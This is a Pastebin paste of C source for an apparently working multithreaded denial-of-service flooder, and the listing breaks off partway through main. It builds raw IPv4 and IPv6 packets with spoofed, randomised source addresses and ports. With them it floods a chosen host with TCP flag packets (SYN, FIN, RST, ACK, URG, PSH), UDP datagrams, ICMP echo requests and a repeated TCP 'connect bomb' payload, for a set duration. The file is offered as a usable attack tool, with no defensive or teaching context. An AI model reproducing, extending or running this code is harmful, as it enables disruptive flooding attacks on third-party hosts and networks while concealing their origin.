Advertisement
wtfbbq

shit.c

Mar 20th, 2015
1,005
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 38.81 KB | None | 0 0
  1. /*
  2.  * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
  3.  */
  4. #ifndef _BSD_SOURCE
  5. #define _BSD_SOURCE
  6. #endif
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <unistd.h>
  10. #include <netdb.h>
  11. #include <sys/types.h>
  12. #include <netinet/in_systm.h>
  13. #include <sys/socket.h>
  14. #include <string.h>
  15. #include <time.h>
  16. #include <signal.h>
  17. #ifndef __USE_BSD
  18. #define __USE_BSD
  19. #endif
  20. #ifndef __FAVOR_BSD
  21. #define __FAVOR_BSD
  22. #endif
  23. #include <netinet/in.h>
  24. #include <netinet/ip.h>
  25. #include <netinet/ip6.h>
  26. #include <netinet/ip_icmp.h>
  27. #include <netinet/icmp6.h>
  28. #include <netinet/tcp.h>
  29. #include <netinet/udp.h>
  30. #include <netinet/ip_icmp.h>
  31. #include <arpa/inet.h>
  32. #include <pthread.h>
  33. static void usage(const char *argv0);
  34. #define INET_ADDR       16
  35. #define INET6_ADDR      46
  36. #define TCP_FIN         1
  37. #define TCP_SYN         2
  38. #define TCP_RST         4
  39. #define TCP_PSH         8
  40. #define TCP_ACK                 16
  41. #define TCP_URG                 32
  42. #define TCP_BMB                 64
  43. #define UDP_CFF         128
  44. #define ICMP_ECHO_G     256
  45. #define ICMP_HDRLEN     8
  46. #ifdef LINUX
  47. #   define FIX(x)  htons(x)
  48. #else
  49. #   define FIX(x)  (x)
  50. #endif
  51. /* START THREADS */
  52. #define MAX_THREADS 32768
  53. pthread_t attack_thread[MAX_THREADS];
  54. struct thread_data
  55. {
  56.         int initialized;                        // valid thread?
  57.         int flag4, flag6;                       // v4 or v6
  58.  
  59.         int     start;
  60.         int packets;
  61.         unsigned int timeout;           // attack timeout
  62.         int thread;
  63.         unsigned int bombsize;          // size of connect bomb
  64.         int socket;                                     // rawsock
  65.         int a_flags;                            // a_flags
  66.         struct sockaddr_in      destination4;
  67.         struct sockaddr_in6 destination6;
  68.         u_long dstaddr;
  69.         u_char th_flags;
  70.         int     d_lport;
  71.         int d_hport;
  72.         int s_lport;
  73.         int s_hport;
  74.         char *src_class;
  75.         char *dst_class;
  76.         char SrcIP4[INET_ADDR];
  77.         char SrcIP6[INET6_ADDR];
  78.         char DestIP4[INET_ADDR];
  79.         char DestIP6[INET6_ADDR];
  80.  
  81. };
  82. struct thread_data thread_data_array[MAX_THREADS];
  83. /* END THREADS */
  84. int echo_connect(void);
  85. int lookup6 (char *);
  86. void  handle_exit ()
  87. {
  88.         int packets;
  89.  
  90.         packets   = thread_data_array[1].packets
  91.                           + thread_data_array[2].packets
  92.                           +     thread_data_array[4].packets
  93.                           +     thread_data_array[8].packets
  94.                           + thread_data_array[16].packets
  95.                       + thread_data_array[32].packets
  96.                           + thread_data_array[64].packets
  97.                           + thread_data_array[128].packets
  98.                           + thread_data_array[256].packets;
  99.  
  100.         printf ("Packeting completed, %d total, %d seconds, %d pps\n",  packets, time (NULL) - thread_data_array[0].start, packets / (time (NULL) - thread_data_array[0].start));
  101.         exit (0);
  102. }
  103.  
  104. void *send_bomb(void* arg);
  105.  
  106.  
  107. struct pseudo_hdr
  108. {
  109.     u_long saddr, daddr;
  110.     u_char mbz, ptcl;
  111.     u_short tcpl;
  112. };
  113.  
  114. struct checksum
  115. {
  116.     struct pseudo_hdr pseudo;
  117.     struct tcphdr tcp;
  118. };
  119.  
  120. u_long
  121. lookup(const char *host)
  122. {
  123.     struct hostent *hp;
  124.  
  125.     if ( (hp = gethostbyname(host)) == NULL)
  126.         {
  127.         perror("gethostbyname");
  128.         exit(-1);
  129.     }
  130.  
  131.     return *(u_long *)hp->h_addr;
  132. }
  133.  
  134. unsigned short
  135. in_cksum(unsigned short *addr, int len)
  136. {
  137.     int nleft = len;
  138.     int sum = 0;
  139.     unsigned short *w = addr;
  140.     unsigned short answer = 0;
  141.  
  142.     while (nleft > 1)
  143.         {
  144.         sum += *w++;
  145.         nleft -= 2;
  146.     }
  147.  
  148.     if (nleft == 1)
  149.         {
  150.         *(unsigned char *) (&answer) = *(unsigned char *)w;
  151.         sum += answer;
  152.     }
  153.  
  154.     sum    = (sum >> 16) + (sum & 0xffff);
  155.     sum   += (sum >> 16);
  156.     answer = ~sum;
  157.  
  158.     return answer;
  159. }
  160.  
  161. char *src_class, *dst_class = NULL;
  162.  
  163. char *
  164. class2ip(const char *class)
  165. {
  166.     static char ip[INET_ADDR];
  167.     int i, j;
  168.  
  169.     for (i = 0, j = 0; class[i] != '\0'; ++i)
  170.         if (class[i] == '.')
  171.             ++j;
  172.  
  173.     switch (j)
  174.         {
  175.         case 0:
  176.             sprintf(ip, "%s.%d.%d.%d", class, (int) random() % 255+1, (int) random() % 255+1, (int) random() % 255+1);
  177.             break;
  178.         case 1:
  179.             sprintf(ip, "%s.%d.%d", class, (int) random() % 255+1, (int) random() % 255+1);
  180.             break;
  181.         case 2:
  182.             sprintf(ip, "%s.%d", class, (int) random() % 255+1);
  183.             break;
  184.  
  185.         /* Spoofing single host */
  186.         default: strncpy(ip, class, INET_ADDR);
  187.                  break;
  188.     }
  189.     return ip;
  190. }
  191.  
  192. char *class2ip6(const char *class)
  193. {
  194.     static char ip[INET6_ADDR];
  195.         uint16_t n;
  196.  
  197.     int x, y;
  198.  
  199.     for (x = 0, y = 0; class[x] != '\0'; ++x)
  200.             if (class[x] == ':')
  201.                 ++y;
  202.  
  203.         int i;
  204.  
  205.         for (i = 0; i < 7; i++)
  206.         {
  207.                 char hex[3][i];
  208.                 n = mrand48();
  209.                 n = rand();
  210.                 FILE * f = fopen("/dev/urandom", "rb");
  211.                 fread(&n, sizeof(uint16_t), 1, f);
  212.                 sprintf(hex[i], "%04X", n);
  213.  
  214.                 if (i == 0)
  215.                         strcpy(ip, class);
  216.                 strcat(ip, hex[i]);
  217.  
  218.                 if(i < 6)
  219.                         strcat(ip, ":");
  220.         }
  221.         return ip;
  222.  
  223. }
  224.  
  225. static void
  226. inject(struct ip *ip, u_char p, u_char len)
  227. {
  228.         ip->ip_hl             = 5;
  229.         ip->ip_v              = 4;
  230.         ip->ip_p              = p;
  231.         ip->ip_tos            = 0x08;
  232.         ip->ip_id             = random();
  233.         ip->ip_len            = len;
  234.         ip->ip_off            = 0;
  235.         ip->ip_ttl            = 255;
  236.  
  237.         ip->ip_dst.s_addr     = thread_data_array[0].dst_class != NULL ?
  238.                                 inet_addr(class2ip(thread_data_array[0].dst_class)) :
  239.                                 thread_data_array[0].dstaddr;
  240.  
  241.         ip->ip_src.s_addr     = thread_data_array[0].src_class != NULL ?
  242.                                 inet_addr(class2ip(thread_data_array[0].src_class)) :
  243.                                 random();
  244.  
  245.         thread_data_array[0].destination4.sin_addr.s_addr = ip->ip_dst.s_addr;
  246. }
  247.  
  248. static void
  249. inject6(struct ip6_hdr *ip, u_char p, u_char len)
  250. {
  251.         ip->ip6_ctlun.ip6_un1.ip6_un1_flow      = htonl ((6 << 28) | (0 << 20) | 0);
  252.  
  253.         ip->ip6_ctlun.ip6_un1.ip6_un1_plen      = htons( 8 + len );
  254.  
  255.         ip->ip6_ctlun.ip6_un1.ip6_un1_nxt       = p;
  256.         ip->ip6_ctlun.ip6_un1.ip6_un1_hlim      = 255;
  257.  
  258.         inet_pton (AF_INET6, thread_data_array[0].DestIP6,   &ip->ip6_dst);
  259.         inet_pton (AF_INET6, thread_data_array[0].src_class, &ip->ip6_src);
  260.  
  261.         thread_data_array[0].destination6.sin6_addr = ip->ip6_dst;
  262. }
  263.  
  264. void *send_tcp(void* arg)
  265. {
  266.         struct thread_data *param2  = arg;
  267.  
  268.     struct checksum checksum;
  269.     struct packet
  270.         {
  271.         struct ip ip;
  272.         struct tcphdr tcp;
  273.     } packet;
  274.  
  275.     struct packet6
  276.         {
  277.         struct ip6_hdr ip;
  278.         struct tcphdr tcp;
  279.     } packet6;
  280.  
  281.         printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  282.  
  283.         signal(SIGALRM, handle_exit);
  284.         alarm(thread_data_array[0].timeout);
  285.         if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  286.         {
  287.                 do
  288.                 {
  289.                 memset(&packet, 0, sizeof packet);
  290.                 inject(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
  291.  
  292.                         packet.ip.ip_sum            = in_cksum((void *)&packet.ip, sizeof(packet));
  293.  
  294.                     checksum.pseudo.daddr       = thread_data_array[0].dstaddr;
  295.                     checksum.pseudo.mbz         = 0;
  296.                     checksum.pseudo.ptcl                = IPPROTO_TCP;
  297.                     checksum.pseudo.tcpl                = sizeof(struct tcphdr);
  298.                     checksum.pseudo.saddr       = packet.ip.ip_src.s_addr;
  299.  
  300.                 packet.tcp.th_win               = htons(65535);
  301.                     packet.tcp.th_seq           = random();
  302.                         //packet.tcp.th_x2                      = 4;
  303.  
  304.                         if      (param2->th_flags == TCP_ACK)
  305.                         packet.tcp.th_ack       = 1;
  306.                         else
  307.                         packet.tcp.th_ack       = 0;
  308.  
  309.                     packet.tcp.th_flags         = param2->th_flags;
  310.                 packet.tcp.th_off               = 5;
  311.  
  312.                         if      (param2->th_flags == TCP_URG)
  313.                             packet.tcp.th_urp       = 1;
  314.                         else
  315.                             packet.tcp.th_urp       = 0;
  316.  
  317.                     packet.tcp.th_sport         = thread_data_array[0].s_lport == 0 ?
  318.                                                           random () :
  319.                                                   htons(thread_data_array[0].s_lport + (random() %
  320.                                                                                   (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  321.  
  322.                     packet.tcp.th_dport         = thread_data_array[0].d_lport == 0 ?
  323.                                                           random () :
  324.                                                   htons(thread_data_array[0].d_lport + (random() %
  325.                                                                                   (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  326.  
  327.                     checksum.tcp                = packet.tcp;
  328.                     packet.tcp.th_sum           = in_cksum((void *)&checksum, sizeof(checksum));
  329.                         param2->packets++;
  330.                 } while ( sendto(param2->socket, &packet, (sizeof packet),
  331.                                                  0, (struct sockaddr *)&thread_data_array[0].destination4,
  332.                                  sizeof(thread_data_array[0].destination4)) );
  333.         }
  334.         if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  335.         {
  336.                 do
  337.                 {
  338.                 memset(&packet6, 0, sizeof packet6);
  339.                 inject6(&packet6.ip, IPPROTO_TCP, FIX(sizeof packet6));
  340.  
  341.                     checksum.pseudo.daddr       = thread_data_array[0].dstaddr;
  342.                     checksum.pseudo.mbz         = 0;
  343.                     checksum.pseudo.ptcl                = IPPROTO_TCP;
  344.                     checksum.pseudo.tcpl                = sizeof(struct tcphdr);
  345. //                  checksum.pseudo.saddr       = &packet6.ip.ip6_src.s6_addr;
  346.  
  347.  
  348.                 packet6.tcp.th_win              = htons(65535);
  349.                     packet6.tcp.th_seq          = random();
  350.                         //packet6.tcp.th_x2                     = 4;
  351.  
  352.                         if      (param2->th_flags == TCP_ACK)
  353.                         packet6.tcp.th_ack       = 1;
  354.                         else
  355.                         packet6.tcp.th_ack       = 0;
  356.  
  357.                     packet6.tcp.th_flags        = param2->th_flags;
  358.                 packet6.tcp.th_off              = 5;
  359.  
  360.                         if      (param2->th_flags == TCP_URG)
  361.                             packet6.tcp.th_urp       = 1;
  362.                         else
  363.                             packet6.tcp.th_urp       = 0;
  364.  
  365.                     packet6.tcp.th_sport        = thread_data_array[0].s_lport == 0 ?
  366.                                                           random () :
  367.                                                   htons(thread_data_array[0].s_lport + (random() %
  368.                                                                                   (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  369.  
  370.                     packet6.tcp.th_dport        = thread_data_array[0].d_lport == 0 ?
  371.                                                           random () :
  372.                                                   htons(thread_data_array[0].d_lport + (random() %
  373.                                                                                   (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  374.  
  375.                     checksum.tcp                = packet.tcp;
  376.                     packet6.tcp.th_sum          = in_cksum((void *)&checksum, sizeof(checksum));
  377.  
  378.                         param2->packets++;
  379.                 } while ( sendto(param2->socket, &packet6.tcp, (sizeof packet6),
  380.                                                  0, (struct sockaddr *)&thread_data_array[0].destination6,
  381.                                  sizeof(thread_data_array[0].destination6)) );
  382.         }
  383.         return 0;
  384. }
  385.  
  386. void *send_udp(void* arg)
  387. {
  388.         struct thread_data *param2  = arg;
  389.  
  390.     struct packet
  391.         {
  392.         struct ip ip;
  393.         struct udphdr udp;
  394.     } packet;
  395.  
  396.     struct packet6
  397.         {
  398.         struct ip6_hdr ip;
  399.         struct udphdr udp;
  400.     } packet6;
  401.  
  402.         printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  403.  
  404.         signal(SIGALRM, handle_exit);
  405.         alarm(thread_data_array[0].timeout);
  406.  
  407.         if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  408.         {
  409.                 do
  410.                 {
  411.                     memset(&packet, 0, sizeof packet);
  412.                     inject(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
  413.  
  414.                         packet.ip.ip_sum            = in_cksum((void *)&packet.ip, sizeof(packet));
  415.                     packet.udp.uh_sport         = thread_data_array[0].s_lport == 0 ?
  416.                                                           random () :
  417.                                                   htons(thread_data_array[0].s_lport + (random() %
  418.                                                                                   (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  419.  
  420.                     packet.udp.uh_dport         = thread_data_array[0].d_lport == 0 ?
  421.                                                           random () :
  422.                                                   htons(thread_data_array[0].d_lport + (random() %
  423.                                                                                   (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  424.  
  425.                     packet.udp.uh_ulen          = htons(sizeof packet.udp);
  426.                     packet.udp.uh_sum           = 0;
  427.  
  428.                         param2->packets++;
  429.                 } while ( sendto(param2->socket, &packet, (sizeof packet),
  430.                                                  0, (struct sockaddr *)&thread_data_array[0].destination4,
  431.                                  sizeof(thread_data_array[0].destination4)) );
  432.         }
  433.         else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  434.         {
  435.                 do
  436.                 {
  437.                     memset(&packet6, 0, sizeof packet6);
  438.                     inject6(&packet6.ip, IPPROTO_UDP, FIX(sizeof packet6));
  439.  
  440.                     packet6.udp.uh_sport        = thread_data_array[0].s_lport == 0 ?
  441.                                                           random () :
  442.                                                   htons(thread_data_array[0].s_lport + (random() %
  443.                                                                                   (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  444.  
  445.                     packet6.udp.uh_dport        = thread_data_array[0].d_lport == 0 ?
  446.                                                           random () :
  447.                                                   htons(thread_data_array[0].d_lport + (random() %
  448.                                                                                   (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  449.  
  450.                     packet6.udp.uh_ulen         = htons(sizeof packet6.udp);
  451.  
  452.                     packet6.udp.uh_sum          = 0;
  453.                         packet6.udp.uh_sum                      = in_cksum((void *)&packet6, sizeof(packet6));
  454.  
  455.                         param2->packets++;
  456.                 } while ( sendto(param2->socket, &packet6, (sizeof packet6),
  457.                                                  0, (struct sockaddr *)&thread_data_array[0].destination6,
  458.                                  sizeof(thread_data_array[0].destination6)) );
  459.         }
  460.         return 0;
  461. }
  462.  
  463. void *send_icmp(void* arg)
  464. {
  465.  
  466.         struct thread_data *param2  = arg;
  467.  
  468.     struct packet
  469.         {
  470.                 struct ip ip;
  471.         struct icmp icmp;
  472.     } packet;
  473.  
  474.     struct packet6
  475.         {
  476.                 struct ip6_hdr ip;
  477.         struct icmp6_hdr icmp;
  478.     } packet6;
  479.  
  480.         printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  481.  
  482.         signal(SIGALRM, handle_exit);
  483.         alarm(thread_data_array[0].timeout);
  484.  
  485.         if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  486.         {
  487.                 do
  488.                 {
  489.                         memset(&packet, 0, sizeof packet);
  490.                     inject(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
  491.                         packet.ip.ip_sum            = in_cksum((void *)&packet.ip, 20);
  492.  
  493.                         packet.icmp.icmp_type       = ICMP_ECHO;
  494.                     packet.icmp.icmp_code       = 0;
  495.                     packet.icmp.icmp_cksum      = htons( ~(ICMP_ECHO << 8));
  496.  
  497.                         param2->packets++;
  498.                 } while ( sendto(param2->socket, &packet, (sizeof packet),
  499.                                                  0, (struct sockaddr *)&thread_data_array[0].destination4,
  500.                                          sizeof(thread_data_array[0].destination4)) );
  501.         }
  502.         else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  503.         {
  504.                 do
  505.                 {
  506.                         memset(&packet6, 0, sizeof packet6);
  507.  
  508.                     inject6(&packet6.ip, IPPROTO_ICMPV6, FIX(sizeof packet6));
  509.  
  510.                         packet6.icmp.icmp6_type         = ICMP6_ECHO_REQUEST;
  511.                     packet6.icmp.icmp6_code             = 0;
  512.                         packet6.icmp.icmp6_id                   = random();
  513.                         packet6.icmp.icmp6_seq                  = random();
  514.  
  515.                         packet6.icmp.icmp6_cksum                = 0;
  516.                         packet6.icmp.icmp6_cksum                = in_cksum((void *)&packet6, sizeof(packet6));
  517.  
  518.                         param2->packets++;
  519.                 } while ( sendto(param2->socket, &packet6.icmp, (sizeof packet6),
  520.                                                  0, (struct sockaddr *)&thread_data_array[0].destination6,
  521.                                          sizeof(thread_data_array[0].destination6)) );
  522.         }
  523.         return 0;
  524. }
  525.  
  526. void *send_bomb(void* arg)
  527. {
  528.         struct thread_data *param2  = arg;
  529.  
  530.         if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  531.                 param2->socket = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  532.         else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  533.                 param2->socket = socket(AF_INET6, SOCK_RAW, IPPROTO_TCP);
  534.  
  535.         int i;
  536.         uint16_t n;
  537.     static char bmbstring[16];
  538.  
  539.         for (i = 0; i < 4; i++)
  540.         {
  541.                 char hex[3][i];
  542.  
  543.                 n = mrand48();
  544.                 n = rand();
  545.  
  546.                 FILE * f = fopen("/dev/urandom", "rb");
  547.                 fread(&n, sizeof(uint16_t), 1, f);
  548.  
  549.                 sprintf(hex[i], "%04X", n);
  550.                 strcat(bmbstring, hex[i]);
  551.         }
  552.  
  553.         if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  554.                 connect(param2->socket, (struct sockaddr *)&thread_data_array[0].destination4, sizeof(struct sockaddr_in));
  555.         else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  556.                 connect(param2->socket, (struct sockaddr *)&thread_data_array[0].destination6, sizeof(struct sockaddr_in6));
  557.  
  558.         printf("[%d] Acquired socket %d - using string (%s)\n", param2->thread, param2->socket, bmbstring);
  559.  
  560.         signal(SIGALRM, handle_exit);
  561.         alarm(thread_data_array[0].timeout);
  562.         do
  563.         {
  564.                 param2->packets++;
  565.         } while ( send(param2->socket, bmbstring, param2->bombsize, 0) );
  566.  
  567.         return 0;
  568. }
  569.  
  570. int
  571. main(int argc, char *argv[])
  572. {
  573.         int i   = 0, n;
  574.         int on  = 1;
  575.  
  576.     while ( (n = getopt(argc, argv, "46T:C:IUh:d:s:t:p:q:")) != -1)
  577.         {
  578.         char *p;
  579.  
  580.                 switch (n)
  581.                 {
  582.                         case '4':
  583.                                 thread_data_array[0].flag4 = 1;
  584.                                 break;
  585.                         case '6':
  586.                                 thread_data_array[0].flag6 = 1;
  587.                                 break;
  588.                         case 'T':
  589.                 switch (atoi(optarg))
  590.                                 {
  591.                     case 0:
  592.                                                 thread_data_array[TCP_FIN].initialized  = 1;
  593.  
  594.                                                 thread_data_array[0].a_flags |= TCP_FIN;
  595.                                                 thread_data_array[TCP_FIN].a_flags |= TCP_FIN;
  596.                                                 break;
  597.                     case 1:
  598.                                                 thread_data_array[TCP_SYN].initialized  = 1;
  599.  
  600.                                                 thread_data_array[0].a_flags |= TCP_SYN;
  601.                                                 thread_data_array[TCP_SYN].a_flags |= TCP_SYN;
  602.                                                 break;
  603.                     case 2:
  604.                                                 thread_data_array[TCP_RST].initialized  = 1;
  605.  
  606.                                                 thread_data_array[0].a_flags |= TCP_RST;
  607.                                                 thread_data_array[TCP_RST].a_flags |= TCP_RST;
  608.                                                 break;
  609.                     case 3:
  610.                                                 thread_data_array[TCP_PSH].initialized  = 1;
  611.  
  612.                                                 thread_data_array[0].a_flags |= TCP_PSH;
  613.                                                 thread_data_array[TCP_PSH].a_flags |= TCP_PSH;
  614.                                                 break;
  615.                     case 4:
  616.                                                 thread_data_array[TCP_ACK].initialized  = 1;
  617.  
  618.                                                 thread_data_array[0].a_flags |= TCP_ACK;
  619.                                                 thread_data_array[TCP_ACK].a_flags |= TCP_ACK;
  620.                                                 break;
  621.                     case 5:
  622.                                                 thread_data_array[TCP_URG].initialized  = 1;
  623.  
  624.                                                 thread_data_array[0].a_flags |= TCP_URG;
  625.                                                 thread_data_array[TCP_URG].a_flags |= TCP_URG;
  626.                                                 break;
  627.                 }
  628.                                 break;
  629.                         case 'C':
  630.                                 thread_data_array[TCP_BMB].initialized = 1;
  631.  
  632.                                 thread_data_array[0].a_flags |= TCP_BMB;
  633.                                 thread_data_array[TCP_BMB].a_flags |= TCP_BMB;
  634.                                 thread_data_array[TCP_BMB].bombsize = atoi(optarg);
  635.                                 break;
  636.                         case 'I':
  637.                                 thread_data_array[ICMP_ECHO_G].initialized = 1;
  638.  
  639.                                 thread_data_array[0].a_flags |= ICMP_ECHO_G;
  640.                                 thread_data_array[ICMP_ECHO_G].a_flags |= ICMP_ECHO_G;
  641.                                 break;
  642.                         case 'U':
  643.                                 thread_data_array[UDP_CFF].initialized = 1;
  644.  
  645.                                 thread_data_array[0].a_flags |= UDP_CFF;
  646.                                 thread_data_array[UDP_CFF].a_flags |= UDP_CFF;
  647.                                 break;
  648.                         case 'h':
  649.                                 if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  650.                                 {
  651.                                         thread_data_array[0].destination4.sin_family = AF_INET;
  652.                                 inet_pton(AF_INET, optarg, &thread_data_array[0].destination4.sin_addr);
  653.                                         thread_data_array[0].dstaddr = lookup(optarg);
  654.                                 }
  655.                                 else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  656.                                 {
  657.                                         thread_data_array[0].destination6.sin6_family = AF_INET6;
  658.                                         inet_pton(AF_INET6, optarg, &thread_data_array[0].destination6.sin6_addr);
  659.                                 }
  660.                                 else
  661.                                 {
  662.                                 printf("\n\e[1;37merror: \e[0;31m-4\e[0m and \e[0;31m-6\e[0m can not both be specified.\n\n");
  663.                                         exit(0);
  664.                                 }
  665.                                 break;
  666.             case 'd':
  667.                 thread_data_array[0].dst_class = optarg;
  668.                 break;
  669.             case 's':
  670.                 thread_data_array[0].src_class = optarg;
  671.                 break;
  672.             case 'p':
  673.                 if ( (p = (char *) strchr(optarg, ',')) == NULL)
  674.                     usage(argv[0]);
  675.                 thread_data_array[0].d_lport = atoi(optarg);
  676.                 thread_data_array[0].d_hport = atoi(p + 1);
  677.                 break;
  678.             case 'q':
  679.                 if ( (p = (char *) strchr(optarg, ',')) == NULL)
  680.                     usage(argv[0]);
  681.                 thread_data_array[0].s_lport = atoi(optarg);
  682.                 thread_data_array[0].s_hport = atoi(p + 1);
  683.                 break;
  684.             case 't':
  685.                                 thread_data_array[0].timeout = atoi(optarg);
  686.                 break;
  687.             default:
  688.                 usage(argv[0]);
  689.                 break;
  690.                 }
  691.         }
  692.         if  (!thread_data_array[0].timeout)
  693.         {
  694.                 usage(argv[0]);
  695.         }
  696.  
  697.         if  (!thread_data_array[0].src_class)
  698.         {
  699.  
  700.                 uint16_t n;
  701.         static char ipstring[3];
  702. /*
  703.                 char hex[3];
  704.  
  705.                 n = mrand48();
  706.                 n = rand() % 16;
  707.  
  708.                 FILE * f = fopen("/dev/urandom", "rb");
  709.                 fread(&n, sizeof(uint16_t), 1, f);
  710.  
  711.                 int i;
  712.                 for (i = 0; i < 3; i++)
  713.                         sprintf(hex, "%x", n);
  714.                 strcat(ipstring, hex);
  715. */
  716.                 strcat(ipstring, "2001:");
  717.  
  718.                 thread_data_array[0].src_class = class2ip6(ipstring);
  719. /*
  720.                 if(thread_data_array[0].flag6 == 1)
  721.                 {
  722.                         printf("\n\e[1;37merror: \e[0;31m-s\e[0m must be specified with \e[0;31m-6\e[0m\n\n");
  723.                         exit(0);
  724.                 }
  725. */
  726.         }
  727.  
  728.         if      (       (!thread_data_array[0].flag4 && !thread_data_array[0].flag6)    ||
  729.                         (!thread_data_array[0].a_flags)                                                                 ||
  730.                         (!thread_data_array[0].timeout)
  731.                 )
  732.  
  733.         {
  734.                 usage(argv[0]);
  735.         }
  736.  
  737.         if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  738.         {
  739.                 int i;
  740.         for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2)
  741.                 {
  742.  
  743.  
  744.                         if ( thread_data_array[i].initialized == 1 )
  745.                         {
  746.                         if ( (thread_data_array[i].socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  747.                                 {
  748.                                 perror("socket");
  749.                                 exit(-1);
  750.                         }
  751.  
  752.                         if (setsockopt(thread_data_array[i].socket, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)
  753.                                 {
  754.                         perror("setsockopt");
  755.                         exit(-1);
  756.                         }
  757.                         }
  758.                 }
  759.  
  760.                 printf("[IPv4] Packeting (%s) from (%s) with flags (%i) for (%i) seconds.\n\n", thread_data_array[0].dst_class != NULL ?
  761.                                                                                                                                                     thread_data_array[0].dst_class :
  762.                                                                                                                                                     inet_ntop(AF_INET,
  763.  
  764. &thread_data_array[0].destination4.sin_addr,
  765.  
  766. thread_data_array[0].DestIP4,
  767.  
  768. sizeof(thread_data_array[0].DestIP4)),
  769.  
  770. thread_data_array[0].src_class,
  771.  
  772. thread_data_array[0].a_flags,
  773.  
  774. thread_data_array[0].timeout);
  775.  
  776.         }
  777.         else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  778.         {
  779.                 int i;
  780.         for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2)
  781.                 {
  782.  
  783.  
  784.                         if ( thread_data_array[i].initialized== 1 )
  785.                         {
  786.                                 if (thread_data_array[i].a_flags <= TCP_BMB )
  787.                                 {
  788.                                 if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_TCP)) < 0)
  789.                                         {
  790.                                         perror("socket");
  791.                                         exit(-1);
  792.                                 }
  793.                                 }
  794.                                 else if (thread_data_array[i].a_flags == UDP_CFF)
  795.                                 {
  796.                                 if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_UDP)) < 0)
  797.                                         {
  798.                                         perror("socket");
  799.                                         exit(-1);
  800.                                 }
  801.                                 }
  802.                                 else if (thread_data_array[i].a_flags == ICMP_ECHO_G)
  803.                                 {
  804.                                 if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6)) < 0)
  805.                                         {
  806.                                         perror("socket");
  807.                                         exit(-1);
  808.                                 }
  809.                                 }
  810.  
  811.                         if (setsockopt(thread_data_array[i].socket, IPPROTO_IPV6, IPV6_TCLASS, (char *)&on, sizeof(on)) < 0)
  812.                                 {
  813.                         perror("setsockopt");
  814.                         exit(-1);
  815.                         }
  816.                         }
  817.                 }
  818.                 printf("[IPv6] Packeting (%s) from (%s) with flags (%i) for (%i) seconds.\n\n", thread_data_array[0].dst_class != NULL ?
  819.                                                                                                                                                     thread_data_array[0].dst_class :
  820.                                                                                                                                                     inet_ntop(AF_INET6,
  821.  
  822. &thread_data_array[0].destination6.sin6_addr,
  823.  
  824. thread_data_array[0].DestIP6,
  825.  
  826. sizeof(thread_data_array[0].DestIP6)),
  827.  
  828. thread_data_array[0].src_class,
  829.  
  830. thread_data_array[0].a_flags,
  831.  
  832. thread_data_array[0].timeout);
  833.         }
  834.  
  835.  
  836.         signal (SIGINT,  handle_exit);
  837.         signal (SIGTERM, handle_exit);
  838.         signal (SIGQUIT, handle_exit);
  839.  
  840.         thread_data_array[0].start              = time(NULL);
  841.  
  842.  
  843.         for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2)
  844.         {
  845.                 if (thread_data_array[i].a_flags == TCP_FIN)
  846.                 {
  847.                         thread_data_array[i].thread             = i;
  848.                         thread_data_array[i].packets    = 0;
  849.  
  850.                         thread_data_array[i].th_flags = TH_FIN;
  851.  
  852.                         if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  853.                         {
  854.                         printf("+    Thread error:\n");
  855.                                 perror("-    pthread_create()\n");
  856.                 }
  857.                 }
  858.                 if (thread_data_array[i].a_flags == TCP_SYN)
  859.                 {
  860.                         thread_data_array[i].thread             = i;
  861.                         thread_data_array[i].packets    = 0;
  862.  
  863.                         thread_data_array[i].th_flags = TH_SYN;
  864.  
  865.                         if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  866.                         {
  867.                         printf("+    Thread error:\n");
  868.                                 perror("-    pthread_create()\n");
  869.                 }
  870.                 }
  871.                 if (thread_data_array[i].a_flags == TCP_RST)
  872.                 {
  873.                         thread_data_array[i].thread             = i;
  874.                         thread_data_array[i].packets    = 0;
  875.  
  876.                         thread_data_array[i].th_flags = TH_RST;
  877.  
